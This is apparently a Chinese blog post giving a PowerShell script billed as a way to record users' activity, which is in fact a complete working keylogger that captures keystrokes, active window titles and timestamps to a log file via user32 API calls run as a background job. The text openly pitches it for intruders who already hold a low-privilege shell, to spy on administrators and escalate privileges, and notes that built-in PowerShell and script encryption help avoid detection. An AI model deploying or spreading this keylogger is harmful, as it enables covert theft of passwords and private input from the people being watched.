PowerShell小技巧之定时记录操作系统行为

作为系统管理员，有些时候是需要记录系统中的其他用户的一些操作行为的，例如：当系统管理员怀疑系统存在漏洞，且已经有被植入后门或者创建隐藏账户时，就需要对曾经登陆的用户进行监控，保存其打开或者操作过的文件。或者在另外一个场景，当黑客拿下一个普通权限的shell之后，想看看最近有哪些用户登陆过，操作过什么，以便根据用户习惯采取进一步行动获取更高权限，这个时候记录用户行为就显得很重要了。

      可能有读者觉得此时安装个监控软件不就行了么，拜托，你入侵别人的系统，你装个监控软件，你把管理员试做无物么？这个时候powershell这个vista及其之后windows操作系统都自带的强大的命令行就有了用处，系统自带，不会被管理员发现异常，脚本不用编译，如果脚本内容再加个密，他们更猜不出是干什么用的，嘿嘿。如果要记录几个特性用于记录啥时候干了什么，无非要记录的有几样内容：操作，哪个文件或程序，时间。有这几个特点就基本上可以掌握用户的操作习惯了。
 
      代码不算太难就不逐句解释了，有啥问题的读者可以给我留言询问，基本上关键语句都有注释的。代码如下：

 =====文件名：get-timedoperationrecord.ps1=====
function get-timedoperationrecord {
<#
    author:fuhj(powershell#live.cn ,http://fuhaijun.com)
 logs keys pressed, time and the active window.
.parameter logpath
    specifies the path where pressed key details will be logged. by default, keystroke are logged to '$($env:temp)\key.log'.
.parameter collectioninterval
    specifies the interval in minutes to capture keystrokes. by default keystroke are captured indefinitely.
.example
    get-timedoperationrecord -logpath c:\key.log
.example
    get-timedoperationrecord -collectioninterval 20
#>
    [cmdletbinding()] param (
        [parameter(position = 0)]
        [validatescript({test-path (resolve-path (split-path -parent $_)) -pathtype container})]
        [string]
        $logpath = "$($env:temp)\key.log",

        [parameter(position = 1)]
        [uint32]
        $collectioninterval
    )

    $logpath = join-path (resolve-path (split-path -parent $logpath)) (split-path -leaf $logpath)

    write-verbose "logging keystrokes to $logpath"

    $initilizer = {
        $logpath = 'replaceme'

        '"typedkey","time","windowtitle"' | out-file -filepath $logpath -encoding unicode

        function keylog {
            [reflection.assembly]::loadwithpartialname('system.windows.forms') | out-null

            try
            {
                $importdll = [user32]
            }
            catch
            {
                $dynassembly = new-object system.reflection.assemblyname('win32lib')
                $assemblybuilder = [appdomain]::currentdomain.definedynamicassembly($dynassembly, [reflection.emit.assemblybuilderaccess]::run)
                $modulebuilder = $assemblybuilder.definedynamicmodule('win32lib', $false)
                $typebuilder = $modulebuilder.definetype('user32', 'public, class')

                $dllimportconstructor = [runtime.interopservices.dllimportattribute].getconstructor(@([string]))
                $fieldarray = [reflection.fieldinfo[]] @(
                    [runtime.interopservices.dllimportattribute].getfield('entrypoint'),
                    [runtime.interopservices.dllimportattribute].getfield('exactspelling'),
                    [runtime.interopservices.dllimportattribute].getfield('setlasterror'),
                    [runtime.interopservices.dllimportattribute].getfield('preservesig'),
                    [runtime.interopservices.dllimportattribute].getfield('callingconvention'),
                    [runtime.interopservices.dllimportattribute].getfield('charset')
                )

                $pinvokemethod = $typebuilder.definemethod('getasynckeystate', 'public, static', [int16], [type[]] @([windows.forms.keys]))
                $fieldvaluearray = [object[]] @(
                    'getasynckeystate',
                    $true,
                    $false,
                    $true,
                    [runtime.interopservices.callingconvention]::winapi,
                    [runtime.interopservices.charset]::auto
                )
                $customattribute = new-object reflection.emit.customattributebuilder($dllimportconstructor, @('user32.dll'), $fieldarray, $fieldvaluearray)
                $pinvokemethod.setcustomattribute($customattribute)

                $pinvokemethod = $typebuilder.definemethod('getkeyboardstate', 'public, static', [int32], [type[]] @([byte[]]))
                $fieldvaluearray = [object[]] @(
                    'getkeyboardstate',
                    $true,
                    $false,
                    $true,
                    [runtime.interopservices.callingconvention]::winapi,
                    [runtime.interopservices.charset]::auto
                )
                $customattribute = new-object reflection.emit.customattributebuilder($dllimportconstructor, @('user32.dll'), $fieldarray, $fieldvaluearray)
                $pinvokemethod.setcustomattribute($customattribute)

                $pinvokemethod = $typebuilder.definemethod('mapvirtualkey', 'public,static', [int32], [type[]] @([int32], [int32]))
                $fieldvaluearray = [object[]] @(
                    'mapvirtualkey',
                    $false,
                    $false,
                    $true,
                    [runtime.interopservices.callingconvention]::winapi,
                    [runtime.interopservices.charset]::auto
                )
                $customattribute = new-object reflection.emit.customattributebuilder($dllimportconstructor, @('user32.dll'), $fieldarray, $fieldvaluearray)
                $pinvokemethod.setcustomattribute($customattribute)

                $pin$pinvokemethod = $typebuilder.definemethod('tounicode', 'public, static', [int32],
                    [type[]] @([uint32], [uint32], [byte[]], [text.stringbuilder], [int32], [uint32]))
                $fieldvaluearray = [object[]] @(
                    'tounicode',
                    $false,
                    $false,
                    $true,
                    [runtime.interopservices.callingconvention]::winapi,
                    [runtime.interopservices.charset]::auto
                )
                $customattribute = new-object reflection.emit.customattributebuilder($dllimportconstructor, @('user32.dll'), $fieldarray, $fieldvaluearray)
                $pinvokemethod.setcustomattribute($customattribute)

                $pinvokemethod = $typebuilder.definemethod('getforegroundwindow', 'public, static', [intptr], [type[]] @())
                $fieldvaluearray = [object[]] @(
                    'getforegroundwindow',
                    $true,
                    $false,
                    $true,
                    [runtime.interopservices.callingconvention]::winapi,
                    [runtime.interopservices.charset]::auto
                )
                $customattribute = new-object reflection.emit.customattributebuilder($dllimportconstructor, @('user32.dll'), $fieldarray, $fieldvaluearray)
                $pinvokemethod.setcustomattribute($customattribute)

                $importdll = $typebuilder.createtype()
            }

            start-sleep -milliseconds 40

                try
                {

                    #loop through typeable characters to see which is pressed
                    for ($typeablechar = 1; $typeablechar -le 254; $typeablechar++)
                    {
                        $virtualkey = $typeablechar
                        $keyresult = $importdll::getasynckeystate($virtualkey)

                        #if the key is pressed
                        if (($keyresult -band 0x8000) -eq 0x8000)
                        {

                            #check for keys not mapped by virtual keyboard
                            $leftshift    = ($importdll::getasynckeystate([windows.forms.keys]::lshiftkey) -band 0x8000) -eq 0x8000
                            $rightshift   = ($importdll::getasynckeystate([windows.forms.keys]::rshiftkey) -band 0x8000) -eq 0x8000
                            $leftctrl     = ($importdll::getasynckeystate([windows.forms.keys]::lcontrolkey) -band 0x8000) -eq 0x8000
                            $rightctrl    = ($importdll::getasynckeystate([windows.forms.keys]::rcontrolkey) -band 0x8000) -eq 0x8000
                            $leftalt      = ($importdll::getasynckeystate([windows.forms.keys]::lmenu) -band 0x8000) -eq 0x8000
                            $rightalt     = ($importdll::getasynckeystate([windows.forms.keys]::rmenu) -band 0x8000) -eq 0x8000
                            $tabkey       = ($importdll::getasynckeystate([windows.forms.keys]::tab) -band 0x8000) -eq 0x8000
                            $spacebar     = ($importdll::getasynckeystate([windows.forms.keys]::space) -band 0x8000) -eq 0x8000
                            $deletekey    = ($importdll::getasynckeystate([windows.forms.keys]::delete) -band 0x8000) -eq 0x8000
                            $enterkey     = ($importdll::getasynckeystate([windows.forms.keys]::return) -band 0x8000) -eq 0x8000
                            $backspacekey = ($importdll::getasynckeystate([windows.forms.keys]::back) -band 0x8000) -eq 0x8000
                            $leftarrow    = ($importdll::getasynckeystate([windows.forms.keys]::left) -band 0x8000) -eq 0x8000
                            $rightarrow   = ($importdll::getasynckeystate([windows.forms.keys]::right) -band 0x8000) -eq 0x8000
                            $uparrow      = ($importdll::getasynckeystate([windows.forms.keys]::up) -band 0x8000) -eq 0x8000
                            $downarrow    = ($importdll::getasynckeystate([windows.forms.keys]::down) -band 0x8000) -eq 0x8000
                            $leftmouse    = ($importdll::getasynckeystate([windows.forms.keys]::lbutton) -band 0x8000) -eq 0x8000
                            $rightmouse   = ($importdll::getasynckeystate([windows.forms.keys]::rbutton) -band 0x8000) -eq 0x8000

                            if ($leftshift -or $rightshift) {$logoutput += '[shift]'}
                            if ($leftctrl  -or $rightctrl)  {$logoutput += '[ctrl]'}
                            if ($leftalt   -or $rightalt)   {$logoutput += '[alt]'}
                            if ($tabkey)       {$logoutput += '[tab]'}
                            if ($spacebar)     {$logoutput += '[spacebar]'}
                            if ($deletekey)    {$logoutput += '[delete]'}
                            if ($enterkey)     {$logoutput += '[enter]'}
                            if ($backspacekey) {$logoutput += '[backspace]'}
                            if ($leftarrow)    {$logoutput += '[left arrow]'}
                            if ($rightarrow)   {$logoutput += '[right arrow]'}
                            if ($uparrow)      {$logoutput += '[up arrow]'}
                            if ($downarrow)    {$logoutput += '[down arrow]'}
                            if ($leftmouse)    {$logoutput += '[left mouse]'}
                            if ($rightmouse)   {$logoutput += '[right mouse]'}

                            #check for capslock
                            if ([console]::capslock) {$logoutput += '[caps lock]'}

                            $mappedkey = $importdll::mapvirtualkey($virtualkey, 3)
                            $keyboardstate = new-object byte[] 256
                            $checkkeyboardstate = $importdll::getkeyboardstate($keyboardstate)

                            #create a stringbuilder object
                            $stringbuilder = new-object -typename system.text.stringbuilder;
                            $unicodekey = $importdll::tounicode($virtualkey, $mappedkey, $keyboardstate, $stringbuilder, $stringbuilder.capacity, 0)

                            #convert typed characters
                            if ($unicodekey -gt 0) {
                                $typedcharacter = $stringbuilder.tostring()
                                $logoutput += ('['+ $typedcharacter +']')
                            }

                            #get the title of the foreground window
                            $topwindow = $importdll::getforegroundwindow()
                            $windowtitle = (get-process | where-object { $_.mainwindowhandle -eq $topwindow }).mainwindowtitle

                            #get the current dtg
                            $timestamp = (get-date -format dd/mm/yyyy:hh:mm:ss:ff)

                            #create a custom object to store results
                            $objectproperties = @{'key typed' = $logoutput;
                                                  'window title' = $windowtitle;
                                                  'time' = $timestamp}
                            $resultsobject = new-object -typename psobject -property $objectproperties
                            $csventry = ($resultsobject | convertto-csv -notypeinformation)[1]
                            #return results
                            out-file -filepath $logpath -append -inputobject $csventry -encoding unicode

                        }
                    }
                }
                catch {}
            }
        }

    $initilizer = [scriptblock]::create(($initilizer -replace 'replaceme', $logpath))

    start-job -initializationscript $initilizer -scriptblock {for (;;) {keylog}} -name keylogger | out-null

    if ($psboundparameters['collectioninterval'])
    {
        $timer = new-object timers.timer($collectioninterval * 60 * 1000)

        register-objectevent -inputobject $timer -eventname elapsed -sourceidentifier elapsedaction -action {
            stop-job -name keylogger
            unregister-event -sourceidentifier elapsedaction
            $sender.stop()
        } | out-null
    }
}

执行方式如下图所示：

执行效果，会在指定的目录里生成log文件，内容如下图所示：

能够看到里面相关的击键动作，有兴趣的读者可以猜一下，这段被记录的操作都干了什么，期间腾讯还推了一次弹窗新闻，无耻啊。